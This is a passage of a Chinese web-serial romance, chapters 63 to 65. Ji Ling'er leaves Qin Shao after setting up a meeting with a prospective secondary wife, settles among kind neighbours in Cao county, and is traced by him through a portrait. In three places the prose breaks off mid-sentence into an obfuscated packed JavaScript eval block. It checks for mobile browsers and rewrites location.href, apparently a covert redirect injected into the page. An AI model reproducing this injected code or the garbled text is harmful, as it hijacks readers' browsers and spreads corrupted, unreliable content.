她是说清楚了，可表露出来的心意也十分明显，秦劭以为，既然彼此心意交付，吵闹不过是夫妻间的磕碰磨合。 “我的错我认，也真心实意改，怎样能消气？” 温柔的耳鬓厮磨如春雨连绵，日夜不歇地浸润心田，季灵儿受不住他这般攻势，及时挣脱以防溃败更多。 敷衍回一句：“等消气的时候自然就消气了。” ... 四月初六秦劭生辰，老夫人意思是整岁又是成亲后头一个生辰应当设宴，交给孙媳张罗亦是历练，再者，他此去鲁地生意谈的顺利，双喜临门，可大办一场，延请亲戚朋友同聚，添添府中喜气。 秦劭不愿铺张，坚持在府上吃顿家宴，清静过一日便好，老夫人拗不过他，只得作罢。 阖府上下热闹用过午膳便散了，回到自家院子，季灵儿道：“城西茗心茶馆的出了新的评书，我提前包下天字雅间，寿星可愿赏脸一往？” 秦劭笑：“耍什么花样？” 季灵儿替他理了理并无褶皱的衣襟，神秘兮兮道：“去了便知。不过是你先去，我还准备其他，随后就到。” 茶馆一楼鱼龙混杂难免喧嚣，二楼多设隔帘供雅客清谈，三楼雅间最是清幽，临窗可直观说书台，但真正登三楼者，没几个真正为听书而来。 秦劭也不例外。 室内摆有数盆正吐蕊的兰花，待茶汤煮沸，花香被茶香遮掩，楼下说书先生醒木开场，季灵儿仍未露面。 秦劭视线投在楼下，心思早飞向旁处，思量小姑娘究竟藏了什么惊喜。 期待使得素来沉稳的人心湖荡漾，指尖不安分叩向檀木扶手，一下，又一下。 终于，推门声响，轻盈的脚步声踏入，秦劭含笑回身。 屏风后转出的一位女子，身着湖蓝色掐金色柳絮碎花长裙，云鬓高挽，玲珑珠翠衬着温婉容颜，却是完全陌生的一张脸。 秦劭笑意骤凝，指尖停在扶手上。 欲问其是否走错，心下猛地生出不详预感，敛色问来人：“姑娘是？” 女子见他面上亦露出诧异，慌乱几息，下意识扶了扶发间珠钗，含羞带怯道：“小女子柳氏。” 柳氏，秦劭恍然。 呵！好一份生辰礼。 旖旎猜想碎成粉末，期待化作寒冰砸下，再开口时声音还算平稳，但已没了温度。 “内子邀姑娘来此处的？” “是，少夫人传信约我吃茶。” 云家喜宴后，中间人透了口风给柳家，言秦家对平妻一事无异议，只等秦劭回来定夺。秦劭回城有段日子，迟迟未有下文，柳家再度陷入苦恼，原商定趁秦劭生辰上门祝贺，再打探一番，怎料秦家不曾设宴，贺礼没能送出去，反而收到秦家大少夫人的茶帖。 以为是鸿门宴，忐忑赴约，见到秦劭既惊又喜，再见他神色由欣喜转为冰冷，刚升起的雀跃跟着跌落。 柳氏聪慧，因常年帮父亲打理家业，比寻常待字闺中的女子年岁略长，心智见识亦成熟些，当即猜出此中原委。 不确定大少夫人为何引她来，但可以肯定眼前人并不欣喜她出现。 端方福一礼，道：“小女子不知公子在此，实在失礼，不好扰公子雅兴，先告辞了。” “是内子唐突。”秦劭道，“既来了，没有让姑娘徒走一遭的道理。” 63. 离开 柳氏未来得及惊喜，又听他说：“姑娘可留在此处品茶听书，茶水点心的开销秦某一应承担，秦某如此说并非寒碜姑娘，实是内子行事冒失，累姑娘误会奔波，秦某深感歉意，愿代其向姑娘赔罪。” 柳氏对秦劭的印象，除遥遥见过几面的冷峻持重的皮相外，全源于他掌管商行近十年传出的事迹和声名。 她心目中的他，当是巍峨难攀，不易亲近的孤峰。 眼下姿态谦和赔罪，反倒显出人情味。 若非眉宇间化不开的冷然，柳氏该以为他是寻常温润君子了。 道是替内子担责，言外意再明显不过，他对赴约不知情，亦没有接纳其他人的打算。 “公子言重，”柳氏浅笑，从容上前斟两盏茶，一盏递向秦劭，一盏自持，再开口已换了称呼:“久慕秦大当家盛名，一直有心结交为生意伙伴，今日有缘得见，该是我以茶代酒敬大当家一杯才是，大当家若不嫌，共饮此盏，不负相逢。” 三两句话反客为主，亦表明态度让他安心。 秦劭领情，接过茶盏回敬：“柳姑娘雅量，秦某愧不敢当，往后生意上有需秦某效劳之处，遣人传信即可。” 虽未承诺相助，但得这一句已是极给面子，柳氏知足，笑意盈盈举盏抿茶。 ... 秦劭打马回到秦府，里外不见季灵儿身影。 秋棠不明他为何急色，照实禀道：“大爷走后不久少夫人便出门了，神色很寻常，带了个小包袱，说是给您备的礼，不让奴婢们跟。” 秦劭仓惶扫视屋内，未见有何明显短缺，柜中衣物也无翻动痕迹，她常穿的几件衣裳整齐躺在原处。 又躲去清心庵了么？ 如此想着，转身欲朝外走，余光瞥见卧榻枕畔露出的月白流苏坠子，脚步一顿，两步跨到榻前。 挪开瓷枕，一枚算盘状的水纹玉佩直直映入眼帘，逼得秦劭瞳孔骤缩。紧挨着玉佩的，也是一个眼熟物件——她曾向他讨要的和离书。 有他签字印章的和离书。 视线扫到落款处，原该写宋芮宁名字的位置，赫然签着季灵儿三字，一笔一画工整非常，可见执笔之人落墨时的决然。 应是觉得不够，又在上面按下指印，朱砂鲜红刺目。 他们不曾有婚书，季灵儿特意签下和离书留下，除了表明与他彻底断清干系，更为气他。 想到秦劭被作弄后的神情，季灵儿心中便畅快。 若非买宅子几乎花光积蓄，真想找个地方听曲看戏，逍遥快活几日。 银钱兑现成宅子也好，有了安身之所，院门一关，无人寻得到她，暂时比清心庵稳妥。 从秦府出来径直回曹县，打两壶酒，回新买的宅子里痛饮，庆贺恢复自在身。 酒劲作祟，季灵儿抱着最后半坛酒，摇摇晃晃踩上墙根木梯爬上屋顶，晚风迎面扑来，裹着春日草木清气，吹得她浑身舒畅，久违的释放感让她忍不住对着寂静呐喊，笑声跌宕卷入风中，散尽心头郁结。 灌下最后一口酒，仰面躺在屋脊上，坛子一抛，任其滚落院中摔得粉碎。 满天星斗欺负她醉了眼，止不住地摇晃，明明灭灭，最后干脆变换成秦劭的模样，冲她笑，温柔地唤她，诱惑她。 感觉有湿润滑进耳蜗，以为是雨，抬手摸了一把，却是眼角淌下的泪。 四下无人，她索性放声哭起来，哭得脊背带着瓦片上轻颤。 一墙之隔的另一家，妇人睡得不沉，被哭一阵笑一阵的声音惊得激灵，推醒身旁鼾声正浓的丈夫：“你听这哭声，是不是从隔壁院传来的？” “你听岔了，隔壁院都空多久了......哪有人。”丈夫半梦半呓地嘟囔了一句，翻了个身又沉入梦乡。 没有人，但有鬼啊。 妇人更心惊，坐起身屏息再听，哭声中还夹着几声断续的轻笑，瘆得浑身汗毛倒竖。 次日午时。 妇人坐在自家院里择菜，听见隔壁又传来脚步声，轻轻的，像是有人在院中徘徊。昨夜哭笑交杂的声音再度浮现耳畔，菜叶丢进簸箕，抄起墙边扫帚蹑手蹑脚往外走。 刚拉开门，探头往外看，正撞进结实胸膛。 两声“哎呦”交叠，妇人抡起扫帚就要砸下，被对方跳脚避开，急道：“娘！你做什么！” 看清是儿子，妇人抚着胸口道：“死小子吓死老娘了！我跟你说啊——隔壁闹鬼了。” “大白天哪来的鬼？”人高马大的儿子不信鬼神，把米袋扛进门放在屋角，道：“我去瞅瞅是什么鬼。” 一把推开半掩的院门，对上回眸看来的视线，当场愣住了。 院子里没有青面獠牙的鬼怪，只有一名穿着杏黄罗裙的女子踩在矮木凳上，手中举着扫帚，费力清理屋檐下的蛛网。扭头时他注意到她鼻尖和脸上沾了灰尘，但丝毫不影响美貌。 季灵儿扫帚停在半空，蹙眉望着闯入的男子，个子高大，一对粗重浓眉下又黑又圆的眼睛憨直盯着她，不说话也不动。 “有事吗？” “娘说院里闹鬼，我来看看。” 直白的回答更显憨直，季灵儿眨了眨眼，噗嗤笑出声来，“我像鬼吗？” “不像，你像画上的仙女。”男子挠了挠头，麦色脸颊泛起不易察觉的红。 误会解除得很快，男子离开不一会儿，妇人就提着半篮子鸡蛋，满脸歉意和好奇地登门了。 三两句寒暄后，季灵儿知晓妇人姓张，丈夫陈二柱是做木工的，儿子名叫陈胜松，也跟着学手艺，二十出头，尚未说成一门合适亲事。 问及季灵儿来历，她留了心眼，只道夫君在外地做工，家境清寒，只能低价盘下这处不好出手的“凶宅”安身。 张婶好奇环视一圈，忍不住道：“你独自住，夜里不害怕吗？” 季灵儿笑：“没做亏心事，不怕鬼敲门。” 张婶是个热心肠，打量季灵儿瘦弱，又见满院荒芜，当即吆喝来自家儿子，支使他帮忙清理院子里的杂物。 季灵儿哪好意思，忙摆手推辞。 “邻里邻居的，日后抬头不见低头见，这点小事算什么。再说那高处蛛网灰尘清理起来不方便，我这儿子空有个子和蛮力，正好派上用场。” 季灵儿被她的热情弄得有些招架不住，只得笑着应承。 陈胜松手长脚长，做事也利索，三下五除二就将屋檐墙角清理干净，连瓦缝间的陈年积灰都扫了出来。 这些工程搁季灵儿独自去做，怕是得忙上一整日，不好白受人家的好，第二日便去集市买两尾鱼配着几包糕点送去感谢，又张罗一桌饭菜招待母子二人。 一来二去的，原本冷清的宅子生出烟火气，填补季灵儿心中落寞。 这才是她想要的生活。 院子焕然一新，显出空旷来，季灵儿又去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603828|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一趟集市，回来时，手里多了个细竹篾编成的小笼，笼里是两只叽喳叫不停地小鸡仔，嫩黄的绒毛蓬松柔软，像两团跃动的暖阳。 用旧砖头在院墙一角围出简易鸡舍，撒一把谷糠，小鸡仔便扑腾着争抢啄食，都不叫了。 “慢点吃，都有份。”她躬身瞧它们挤作一团，眼里漾出笑意，“以后这里就是你们的家了，要乖乖长大，一只负责打鸣，一只负责下蛋，好不好？” 来送自家腌菜的张婶进门正巧瞧见这一幕，心说这姑娘怕是孤身一人住久了，竟对着小畜生温柔絮语，再借着日光端量，又暗自感叹，实在是个惹人怜爱的。 “灵儿，”张婶走进来，熟稔地唤她，将东西搁到四腿木桌上，玩笑道：“家里添丁进口了啊。” “养两个小家伙作伴。” “我家里有些没种完的菜籽，放着也是可惜，待会儿拿来你在院子里种上，自个儿吃着方便。” 张婶不仅热心肠，还是个急性子，转头就取了菜籽送来，还嚷着等她儿子回来帮着翻地。 季灵儿怕了她，忙挥起锄头，赶在陈胜松回来前翻好了菜地。 ... 秦府。 老夫人好不容易逮到秦劭在府里，把人唤到跟前，问：“有日子不见孙媳了，又被你送去历练了？” “是。”秦劭寻遍所有季灵儿可能会去的地方，全扑了空，面对询问只能附和遮掩。 老夫人霎时变了脸色，手中佛珠拍在几案上，怒道:“还想瞒我！去历练何至于你偷偷派人四处寻她踪迹？” 顶着祖母的逼视，秦劭声色未动，只道：“孙儿怕祖母忧心，故未声张。” 老夫人冷哼，问：“她瞒着你离府了？” 秦劭薄唇绷成一线，不答。 老夫人：“走了也罢，你二人无正经婚约，她既主动离去，你该收了心思考虑日后。” “孙儿会将她找回来的。” “宗劭！”老夫人语气重了几分，“你肩上挑着整个秦家的担子，凡事得知轻重！” “孙儿有数。” “有数？我瞧你是愈发没数了，当今是个什么局势？” 老夫人深居简出，看似不问世事，实则无一日不为秦家，为商行忧心，私下里没少关心外界消息，从前不说是相信孙儿能力，如今见他执迷不悟，焦灼地不得不说。 缓了口气，道：“天下安泰，边关不需商人供送补给，盐务往两淮转，咱们发家的倚仗日渐势弱，眼见各地商行崛起争利，你倒好，为个来路不明的女子置家族利益于不顾！” 秦劭垂手立着，听完训斥才开口：“孙儿敢指天誓日向祖母保证，不会荒唐行事，但为家族筹谋不只有结姻亲一条路。” 老夫人连连叹息：“你能说出这话已是荒唐了。” 联姻并非唯一途径，却是最避不开的一环，自古高门大户哪个不靠姻亲巩固势力，利益捆绑够深，遇事才不致轻易倾覆。 这道理秦劭打懂事起便深谙于心，先前再无心成亲，从不会对此生出置喙。 眼下再明显不过，他心中放了更重要的人，不愿再拿亲事作筹码。 秦劭仍坚持：“请祖母相信孙儿。” 老夫人亦语气坚定：“我自是信你，但不能堵上秦家前程，你不愿再娶正妻就先纳个平妻侧室，此事没得商量。你想的明白最好，想不明白就乖乖照做，权当尽孝了。” 64. 寻人 这日晌午，一位留着八字胡的男子来到汇通票号柜前，持一张两千两的汇票兑取。 伙计接过验看，纸质密押皆无误，可翻遍票根册，寻不到对应的存根。 伙计赔笑道：“客官稍坐，小的再对对账簿。” 这一对，冷汗浸透脊背，账簿上朱笔清晰注录着，此票已于一个月前在外县分号兑付 “这……这票一月前就已兑过了！”伙计道。 八字胡闻言，眉头一竖，声音陡然拔高：“胡说！汇票一直在我家中保管，何曾兑过？” 伙计无法，指着兑付记录给他看，白纸黑字，签名押印俱全。 八字胡不承认去过那处，更未签过此字，嚷着要见掌柜理论。 梁守正在后面听说，掀帘出来，视线在八字胡脸上一定，拱手笑道：“是邱掌柜啊。” 邱掌柜是多年老主顾，梁守正对他存汇银两一事略有印象，拿起那张汇票，指尖在密押暗记处捻了捻，神色不动，笑道：“确是本号的票，新来的伙计办事不熟，许是对混了账。” 他不提存根之事，转头吩咐伙计：“照票给邱掌柜兑银子，莫要耽误邱掌柜正事。” 伙计愕然却不敢多言，乖乖照做。 邱掌柜得了银子面色稍霁，寒暄几句离开。 伙计憋到人离开，急道：“掌柜的，这票明明已兑过，您为何还要再兑给他？” 梁守正捻着汇票，又对光看了又看，面色愈发凝重：“汇票货真价实，邱掌柜又是老主顾，家境殷实，做生意极重视信誉，应不会行此龌龊事。” 最主要的原因梁守正未说，这张汇票是真，先前兑付的便是假的，票号出现假汇票之事传扬出去，存汇的人心生恐慌，蜂拥来票号兑付，后果不堪设想。 当即命人去分号取邱掌柜的假票，并让各分号尽快将近期所有兑付过的汇票存根重新核查一遍，看有无其他假票兑付的。 接下来两日，坏消息接踵而至，三处外县分号接连报来相似假票，假汇票密押手法与真票几无二致，金额累计逾万两。 梁守正第一反应想到季灵儿，存心跟汇通票号过不去，又有能力找人仿制的，唯有她！ 梁守正气得咬牙，查探假汇票来源的小厮又回来报，言假票出自黑市，贩子经验老道，又隔了一段时间，实难查出踪迹。 账房先生也捧着最新清查结果过来，见这情形不知当说不当说：“掌柜的，确认被假票兑走的现银算出来了......” “多少？”梁守正只觉得有把铁锹在他心上挖。 “合计两万七千八百两。” 这些兑付出去的银子，等同于肉包子打狗，真汇票的正主随时可能持票上门兑付。 梁守正目光凶狠地能杀人，两万七千八百两！全是他的心头肉！ 不，还不止这些。 从假到真中间这段时日的利钱，也得他自掏腰包。 ... 隆昌票号的人一直盯着汇通的举动，季全得了消息，寻到季灵儿家中告知。 季灵儿告诉他地址时说过为保万一非必要不轻易来往，但季全实在放心不下，“他会不会怀疑到你头上？” “他头一个就要怀疑我。” 季灵儿一副无所谓，季全更急了：“那畜生视财如命，吃下这般大亏，定然要报复的，咱们是否得早做打算，防着他反扑？” 季灵儿：“他猜到是我应当会往秦家票号上下功夫，您那边一切照旧，多存个心思防备就是，不用过于忧心。” 汇通票号的事说定，季全提起此行另一目的：“你可是得罪了什么人？” 季灵儿疑惑：“您何出此问？” “我并非打探你私事，是一位老伙计提起来，说在街上见有人拿着你的画像打听。” “什么样的人？” “据伙计形容像是富庶人家的小厮，不算凶神恶煞，行事也低调，但执着的紧，我怕上前打听再被人盯上给你惹麻烦，没敢多问。” 季灵儿蹙起眉尖思索，她得罪过的无非梁家和宋家，梁家暂无可能，宋家寻她当去吉安。 想了几种可能，心里约莫有数，嘴角勾起一抹浅笑，道：“应当不是仇家，且让他们寻罢。” 季全离开不久，又传来叩门声。 陈胜松身板板正站在门前，手里拎着只通身雪白的兔子，因兔子耳朵被攥，垂成毛茸茸一长条，后腿拼命蹬动，红眼睛一眨不眨地望着季灵儿。 他来十次，七八次是受母命送东西，吃的喝的用的皆有，其余两三次是奉母命来看她是否有需要帮忙之处。 季灵儿照常例理解，问：“这是......要晚上烧兔肉吃？” 陈胜松摇头，抬手把兔子往前一送，说：“给你养着玩。” 季灵儿伸出双手接过，兔子解脱地垂下耳朵，蜷进她臂弯。 感受到分量，季灵儿不由感慨：“还挺重，肉肯定香。” 兔子：...... 陈胜松认真道：“我可以帮你宰它。” 季灵儿噗嗤笑出声来，“我开玩笑的，兔子很可爱，多谢你。” 陈胜松见她笑，目光赧然偏开，挠了挠头道：“是我娘买来让我给你的。” 季灵儿笑得眼睛弯成月牙，“那你替我谢谢张婶。” 这些日子接触，她多少猜出张婶的心思。 陈胜松相貌尚可，只性子太憨直，说话更是直来直去，不懂婉转，二十多岁没讨到媳妇，张婶生了牵线搭桥的心思，打着送东西帮忙的幌子，让儿子与她多来往。 她为方便行事，一早说明夫君在外地做工，平素亦是妇人装束，但张婶可是邻里有名的包打听，套话功夫堪比刑狱官，东家长西家短，甭管私密不私密，没她不知的，明里暗里探问多次“她夫君”情况。 编造之辞经不起再三盘问，问多了疏漏便多，她对张婶起疑心并不意外。 实际上，张婶几乎笃定季灵儿跟过男人，且男人家世背景不凡，她要么遭负心汉抛弃，要么因身份地位悬殊，不被男方家所容被迫分开。 结合近日有人打听之事，张婶更认定是后者。 水灵灵的好姑娘，过了这个村就没这个店了，张婶心里急，催着儿子频频走动。 张婶对儿子直言不讳，如何说如何做字句不差地教，唯一没料到的是儿子在按她教的话说时，用了“我娘”打头。 “我娘说你一个人住着冷清，送只兔子陪你，月上仙子有兔子陪，你，你也有。”陈胜松说到后面不好意思起来，双手无措地从后脑勺挠到后颈。 他一字一句都说的认真，季灵儿以同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611175|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样认真回应他：“兔子很可爱，我很喜欢。” 陈胜松憨笑两声，从袖中抽出一张折叠的纸递给她：“我在街上看到这个。” 纸页展开，是幅画像，画师功夫了得，将画中人模样气韵勾绘地惟妙惟肖，季灵儿一眼认出是自己。 “你怎么得到的？” “我跟那人说见过你，不过几天前就离开曹县了，他就把这画给了我，还说如果能再见到你，就转交给你。” “......” 明显的放长线钓大鱼，季灵儿一时不知该夸找她的人机灵，还是陈胜松太老实。 视线挪回画上，几乎与对镜自照无异，五官轮廓描摹细致，连左眼下眼睑尾部偏里一点的细痣都未遗漏。 能留意如此细微，出自谁手不言而喻。 那人就爱吻她眼睛。 ... 消息传回秦府已是入夜。 阿吉传话时声音激动地直打颤，“爷，要去请少夫人回来吗？” 秦劭按捺心绪冷静忖了会儿，摇头道：“先不惊动她。” 阿吉：“那要派人盯着吗？” “不必。” 派出去的人悄悄跟着陈胜松到她住所后，着意打听过，知道是她花钱买下的宅子，既是买下，短期不会轻易离开，且她记挂拿回票号，更不会离开曹县，盯紧反而惹她警觉。 小姑娘生气才是最难办的，他得想好哄人的法子再去。 阿吉眼见自家爷这些日子为寻人着急，以为他近乡情怯，拉不下脸去请少夫人，决定尽责推一把，“爷，还有一事。” “说。” “今日拿走少夫人画像的，是为年轻男子。” 秦劭神思戛然，眼风凌厉扫过来，“去她家中了？” “是。”骇意蹿升脊背，阿吉剩下那句“他还送了少夫人兔子”卡在舌头尖，囫囵咽下，改口道：“是少夫人的邻居，送了画便出来了，没有多待。” “邻居......”秦劭语气噙满寒意，沉声吩咐：“派人盯着。” “是。”阿吉垂首应下，不敢多问是盯少夫人还是盯邻居，都盯总是没错的。 ... 翌日季灵儿早早醒来，顺手穿上前日脱下的衣裳，快走到房门口又折回衣柜，在屈指可数的衣物里挑出一件更显气色的芽黄轻绡长裙换上，对着不算清晰的铜镜转两个圈，看裙摆荡开迎春花般的涟猗，满意抿出一笑。 她从秦府出来没带多少首饰衣裳，唯有出门那日头上簪的宝石碧玺点翠花簪，比了比，不太衬身上裙衫，改换一支素银梨花簪，素是素些，倒是凸显粉嫩脸蛋，还有那双清凉眸子。 对镜看着看着，目光停留在眼睑细痣上，不凑近根本察觉不了。 收拾妥当将院门大敞，才端了麸子和水给小鸡仔喂食，陈胜松送来的兔子也睡醒了，在另一个砖头垒的窝里啃昨天没吃完的菜叶。 张婶正要出门，见她院门开着，探头打招呼，“今儿个倒是早，要一道去市集吗？” “我不去了，家里不缺什么。”季灵儿笑着摇头，想了下，又道：“您帮我买块排骨回来吧。” 待她从屋里取银钱出来，张婶打量一番她今日格外亮眼的衣着，好奇道：“家里要来客人？” “没有，是我嘴馋了。” 65. 再见 季灵儿从清晨坐到晌午，或者说，是坐立不安。 在院中闲坐呆望天色，竹椅似能升温，没一会儿烫地她坐不住，屋里屋外地收拾，她的物件不多，来回倒腾几番，东西又回归到原本的位置。 包括桌上的画。 张婶替她带了排骨回来，可她已提不起兴致下厨，就着半碟腌菜啃了两口冷馒头，算是打发了午膳。 饭后开始折腾三只小家伙，把它们撵得满院扑腾，许是惹急了，小鸡仔趁她不留神在手背啄了一口。 不疼，真的不疼，倒是彻底扎破了心底鼓胀的期待。 她在等什么？等那人来找自己么？ 要离开的是她，眼巴巴等着的也是她，季灵儿觉得自己定是闲疯了，才让荒唐地在这里消磨光阴。 想通了这层，一口气将三个小家伙捉回围墙里，转去厨房取下排骨清洗，她要好好吃一顿，吃饱了，就不会再想那些无关紧要的人了！ 用力过猛吃到肚皮都撑起来，胀得难受，心里反倒痛快，主动去隔壁找张婶闲话家常。 平日受张婶不少好，炖好排骨也给她家送了一盆，因此张婶又打探起来：“你等的人没来？” “我没有等人。”季灵儿答得飞快。 张婶眼明心亮，白日就瞧出端倪，这丫头魂不守舍，定是弃了她的男人想吃回头草，而她又嘴硬心软。此刻听她否认也不点破，只劝：“凡事须得往前看，你年轻，往后日子长着，没想着再为自己打算打算？” “打算？”季灵儿以为她又要张口撮合。 张婶却正色道：“得想法子挣银钱过日子呀！天上不掉馅饼，你不琢磨着找个好活计养活自己？” 季灵儿为自己的小人之心暗自惭愧，“您说的是。” 不料张婶忽然用肩膀轻轻撞她一下，压低声音笑得意味深长：“或者......找个可靠的人家，有知冷知热的人日子才能过的热腾腾。” “靠旁人就跟庄稼户靠老天爷吃饭一样，阴晴全看旁人脸色，罢了罢了，我还是靠自己更踏实些。”季灵儿半开玩笑摆摆手，赶紧扯开话题。 与张婶说说笑笑，烦心事似乎都被风吹到了九霄云外。季灵儿心情轻快地往回走，一推开屋门，正瞧见桌上那幅摊开的画。 扫兴！ 她哼了一声，三两步上前，利落地将画折了几折，塞进抽屉最深的角落。 不过张婶有句话说对了，她该为自己打算。 这些日子怕见秦劭忍不住心软，避着不去叠翠园。 假汇票之事终于发酵，对付汇通票号不容再拖延，她得赶着端阳节前后，想办法被安排到秦家票号，保证梁守正的注意力不被引到季全那里，计划顺利实施。 左右住所暴露，她去不去叠翠园秦劭想寻她总能寻到，不想寻......最好！ 次日锁好里屋，把外院门锁钥匙留给张婶，拜托她帮忙照看小家伙们几日，轻装简行来到叠翠园。 师兄们见到她无不惊讶欢欣，围上来七嘴八舌问她去向，季灵儿含糊言家中琐事缠身，料理妥当便回来了。 “你处理家事没知会师父吗？师父问起多次。”一位师兄略带担忧地说道。 “走的匆忙，忘了。”季灵儿低声答。 “那你还是早些去向师父认错吧，争取少挨些罚。” 季灵儿心揪到嗓子眼，试探问：“今日他来吗？” “来，这几日都是师父授学。” 知道避不过，可真到要面对的时候，心还是慌得厉害。 季灵儿深吸一口气，脚步沉沉地挪到自己的座位，闷头琢磨若被他问起该如何开口。 思绪飘忽间，目光不自觉地落向门口，被一道挺拔身影无声攫住，墨绿色杭绸长衫衬得肩背笔直，袖口与衣襟边缘以金线绣着祥云暗纹，静看时不显，映着光随步履轻移，如暗夜流萤，教人难以忽视。 他向来如此，沉静中暗藏锋芒。像此刻缓步而来，堂内众人不约而同噤了声，迅速归位端坐。 秦劭的视线越过四散人影，准确无误投向她，墨眸里波澜乍起，又迅速归于沉寂，步履如常走到堂前，因她的出现表现出任何异样。 也未因她缺席多日责问。 弟子们暗暗纳罕：师父实在反常。 “小师弟后来是如何解释的，是说有私事需向师父请教吧？” 几位目睹历练回来那日季灵儿登上师父马车的师兄率先回过味来，休息时互相递个眼神便明白对方所言。 私事？众弟子哪个不比她拜师时日长，家中长辈与师父多多少少有交情或生意往来，可他们没一个敢私下向师父请教私事，自然了，师徒就是师徒，没什么可请教的私事。 小师弟的来历一直成谜，从前师父待众人一般无二，谁也不曾费心探究，而今显出几分偏私与“独特”，好奇便滋长蔓延。 有人耐不住问：“小师弟家中与师父府上是否另有渊源？” 此话问的算委婉，季灵儿尚未想好如何作答，又有人接话：“前日师父家事闹得沸沸扬扬，听闻真正的师娘也姓季，莫非跟小师弟一家？” 此言一出，众人恍然似的，更添兴致，缠着季灵儿追问不休，定要她说清与师父究竟是何关系。 “季凌的私事，想是不方便说的，师兄弟们别强人所难了。”云衡出来欲替她解围。 他不拦不要紧，一开口大伙反而更来了劲，纷纷调转矛头围住云衡打趣：“你倒是护得紧，莫非也知些什么内情？” 哄笑声中，有人推搡着要他透露一二。 云衡骑虎南下，说不知内情亦无人信。 “我其实，其实是......”季灵儿支支吾吾，余光瞥见隐在屋外的身影，心下一横，扬声道：“我其实是先生的义子。” 满堂霎时寂静，众人惊愕地合不上嘴，你看看我我看看你，震惊的同时，又觉得这答案合乎情理。 听她自己承认，一旁看好戏的梁宸不屑地冷笑，死丫头这下可更得意了。 季灵儿注意力一直在门外，清楚看见那道身影倏然一僵，心头掠过解气般的快意，索性又抬高声音：“师兄们若不信，大可向先生求证，喏，他就在外面。” 众人闻声纷纷转头，秦劭已现身在门口，寒霜覆面，冷冽盯着她。 小姑娘无声扬了扬眉梢，竟露出一抹略显得意的笑。 很快，两道秀眉压下笑意，端着无辜望过来，“不好一直瞒着师兄们的，擅自道出真相，还望义父莫怪。” “......” 秦劭顶着舌根咽下怒气，竭力稳住面上神情，道：“既要坦诚布公，不如把其他事一并说明白？” 师父这是承认了！不仅承认，还另有隐秘要揭？ 众人舌桥不下，数十道视线齐刷刷投向季灵儿，等着更精彩的下文。 “怎么不说了？”秦劭挑眉。 “没什么可说的。”她倔强与他对视，一字一句说的坚定：“义父待孩儿恩重如山，孩儿往后会好好孝敬您的。” 秦劭憋气于胸，半日下来，险些导致内伤，酉时散学后，没忍住把人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617444|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堵在廊下。 同行的师兄弟极有眼力避开，云衡唇瓣微动，终是意识到自己没有插话置喙的资格，一步三回头地离开。 “跟我走。”秦劭声音紧紧绷着，在极力压抑薄怒。 “我赶着回家。”季灵儿话音未落，脚尖已转向外侧，试图从他身侧溜走。 秦劭袖袍一拂，不由分说将人拦腰抱起，快得她惊叫未及出口，身子已稳稳落入他怀里。 这可是在叠翠园里，他们虽落在最后，难保没有人折回。 季灵儿拼命推他肩膀：“你放我下来，让人看见成什么了！” 义父抱义子？还是公主抱？ 她还要脸呢！ 秦劭对她的挣扎置若罔闻，大步流星穿过回廊，绕到偏门出去。 好在一路僻静，未撞见旁人。 出了门，秦劭将人塞进马车，紧跟着登车，帘幕一落，只余两人呼吸交错。 车厢宽敞，奈何他偏挤在她身侧，周身散发着一触即燃的怒意，气场迫人，目光锁得她无处遁形。 秦劭本想冷静考虑清楚再找到她细说，心平气和说的，今日一通闹，为数不多的好脾气消磨殆尽，恨不能将她狠狠罚一顿。 马车缓缓驶动，季灵儿慌了神：“你要带我去哪儿？” 秦劭现在没办法平心静气跟她说话，索性闭口不言。 “我不跟你回去。”季灵儿强自镇定地宣告。 秦劭只静静凝着她，车内光线昏暗，照不亮他的眸色。 “你跟我没有婚约，咱们算不得夫妻，我不跟你回秦家。”季灵儿见怎么说他都不应，企图威胁：“你若是勉强我，我，我就从车上跳下去！” 说完作势要从他身旁挤向车门，秦劭长臂一伸将人拉回来，侧坐入怀，俯身封住了那双喋喋不休的唇。 所有不能付诸行动的惩罚，尽数融进深重的吻里。 季灵儿并不厌恶他吻下来，甚至是喜欢的，思念的，错愕后下意识想迎合他，想伸手勾他的脖颈，但此刻她不愿意任由自己沉沦于亲密，推不开，一狠心，抬手挥向他脸颊。 一巴掌并不重，却在寂静的车厢里显得格外清脆。 两人都怔住了。 秦劭骤然顿住动作，抿了下尚存留有她清甜的唇，圈着她的手也缓缓松开，向后靠在车壁上，任她自便。 “不回秦府。”他刻意控制，出口的声音称得上和缓。 “那，那去哪里。” “送你回去。” 季灵儿所住的巷子窄，马车停在巷子口，秦劭身形未动，情绪已在路上平复，嗓音温和许多：“回罢，早些休息。” 外头天已黑尽，季灵儿掀帘的手顿在半空，回眸看向隐在暗影里人，轻声问：“你呢？” 